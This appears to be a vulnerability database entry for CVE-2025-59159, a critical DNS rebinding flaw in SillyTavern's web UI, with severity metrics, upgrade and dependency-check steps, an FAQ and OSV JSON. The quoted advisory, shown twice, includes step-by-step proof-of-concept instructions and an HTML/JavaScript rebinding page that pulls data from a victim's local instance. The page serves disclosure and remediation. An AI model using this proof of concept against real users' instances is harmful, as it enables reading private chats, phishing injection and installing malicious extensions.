CVE-2025-59159: Sillytavern SillyTavern Web Interface Vulnerable DNS Vulnerability

CRITICAL
Advisory Identifier: GHSA-7cxj-w27x-x78q
CVSS 9.6
CWE-940 CWE-346
Published
Advisory Summary

CVE-2025-59159 is a CRITICAL (CVSS 9.6) sillytavern web interface vulnerable dns vulnerability (CWE-940: Improper Verification of Source of a Communication Channel) affecting Sillytavern libraries in the npm ecosystem. The issue involves sillytavern web interface vulnerable dns rebinding. Remediation is available by upgrading affected packages to version 1.13.4.

CVE-2025-59159 at a Glance

CVE Identifier CVE-2025-59159
GHSA Identifier GHSA-7cxj-w27x-x78q
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-940: Improper Verification of Source of a Communication Channel
Affected Product Sillytavern
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-59159

To remediate this vulnerability, upgrade all affected Sillytavern dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

sillytavern fixed: 1.13.4
npm install sillytavern@1.13.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls sillytavern

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-59159, inspect your project dependencies using npm:

npm ls sillytavern

Analyze the terminal output to locate any version of Sillytavern in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.13.4), your application is affected.

Note: The npm ls sillytavern command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-940: Improper Verification of Source of a Communication Channel, where the product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin. In Sillytavern, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc. ### Details DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like `127.0.0.1` for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance **without** it being exposed, just by visiting a website. ### PoC 1. Host the PoC HTML file on a `/rebind.html` endpoint (or any other endpoint) on a web server on port 8000 2. Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B) 3. Replace the URL in the HTML with the returned URL on the site 4. Go to `http://[URL]:8000/rebind.html` in firefox or on any mobile browser if you're using termux 5. Check the developer tools console. It should return all of the data Here is the PoC code: ```html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Rebind Payload</title> </head> <body> <script> async function tryRebind() { while (true) { try { let res = await fetch("http://[DOMAIN HERE]:8000/"); let text = await res.text(); if (text.includes("Directory listing for /")) { console.log("Still attacker server, retrying..."); await new Promise(r => setTimeout(r, 2000)); continue; // don't break yet } console.log("GOT VICTIM RESPONSE!"); console.log(text.substring(0, 300)); break; } catch (e) { console.log("Fetch failed, retrying...", e); await new Promise(r => setTimeout(r, 2000)); } } } tryRebind(); </script> </body> </html> ``` ### Impact Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems. ### Resolution A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable. While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL. - [Documentation](https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting) - [Security checklist](https://docs.sillytavern.app/administration/#security-checklist) ### Resources - https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320

CVE-2025-59159 Affected Sillytavern Versions

1 component(s)
Fixed Versions:
1.13.4
Product / Package Ecosystem Affected Versions Fixed Version
sillytavern
npm
< 1.13.4
1.13.4

References

Frequently Asked Questions

What is CVE-2025-59159?
CVE-2025-59159 is a security vulnerability in Sillytavern involving SillyTavern Web Interface Vulnerable DNS Rebinding under CWE-940: Improper Verification of Source of a Communication Channel.
Which Sillytavern versions are affected?
Affected versions include releases prior to 1.13.4 across affected packages: sillytavern.
What version fixes CVE-2025-59159?
Upgrading to 1.13.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is sillytavern affected?
Yes, sillytavern is affected in releases prior to 1.13.4. Upgrade your dependency to 1.13.4 or later.
What is the CVSS score of CVE-2025-59159?
CVE-2025-59159 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2025-59159?
CVE-2025-59159 is classified under CWE-940: Improper Verification of Source of a Communication Channel (The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.).
How can I check npm dependencies for CVE-2025-59159?
Run the dependency tree command: 'npm ls sillytavern'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7cxj-w27x-x78q",
  "modified" : "2025-10-06T20:18:55Z",
  "published" : "2025-10-06T20:18:55Z",
  "aliases" : [ "CVE-2025-59159" ],
  "summary" : "SillyTavern Web Interface Vulnerable DNS Rebinding",
  "details" : "### Summary\nThe web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.\n\n### Details\nDNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like `127.0.0.1` for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance **without** it being exposed, just by visiting a website. \n\n### PoC\n1. Host the PoC HTML file on a `/rebind.html` endpoint (or any other endpoint) on a web server on port 8000\n2. Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)\n3. Replace the URL in the HTML with the returned URL on the site\n4. Go to `http://[URL]:8000/rebind.html` in firefox or on any mobile browser if you're using termux\n5. Check the developer tools console. It should return all of the data \n\nHere is the PoC code:\n\n```html\n<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"utf-8\">\n  <title>Rebind Payload</title>\n</head>\n<body>\n<script>\nasync function tryRebind() {\n  while (true) {\n    try {\n      let res = await fetch(\"http://[DOMAIN HERE]:8000/\");\n      let text = await res.text();\n\n      if (text.includes(\"Directory listing for /\")) {\n        console.log(\"Still attacker server, retrying...\");\n        await new Promise(r => setTimeout(r, 2000));\n        continue;  // don't break yet\n      }\n\n      console.log(\"GOT VICTIM RESPONSE!\");\n      console.log(text.substring(0, 300));\n      break;\n\n    } catch (e) {\n      console.log(\"Fetch failed, retrying...\", e);\n      await new Promise(r => setTimeout(r, 2000));\n    }\n  }\n}\ntryRebind();\n</script>\n</body>\n</html>\n```\n\n### Impact\nAttackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems. \n\n### Resolution\nA vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable.\n\nWhile the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.\n\n- [Documentation](https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting)\n- [Security checklist](https://docs.sillytavern.app/administration/#security-checklist)\n\n### Resources\n- https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "sillytavern"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.13.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-59159"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320"
  }, {
    "type" : "WEB",
    "url" : "https://docs.sillytavern.app/administration/#security-checklist"
  }, {
    "type" : "WEB",
    "url" : "https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SillyTavern/SillyTavern"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-346", "CWE-940" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-06T20:18:55Z",
    "nvd_published_at" : "2025-10-06T16:15:34Z"
  }
}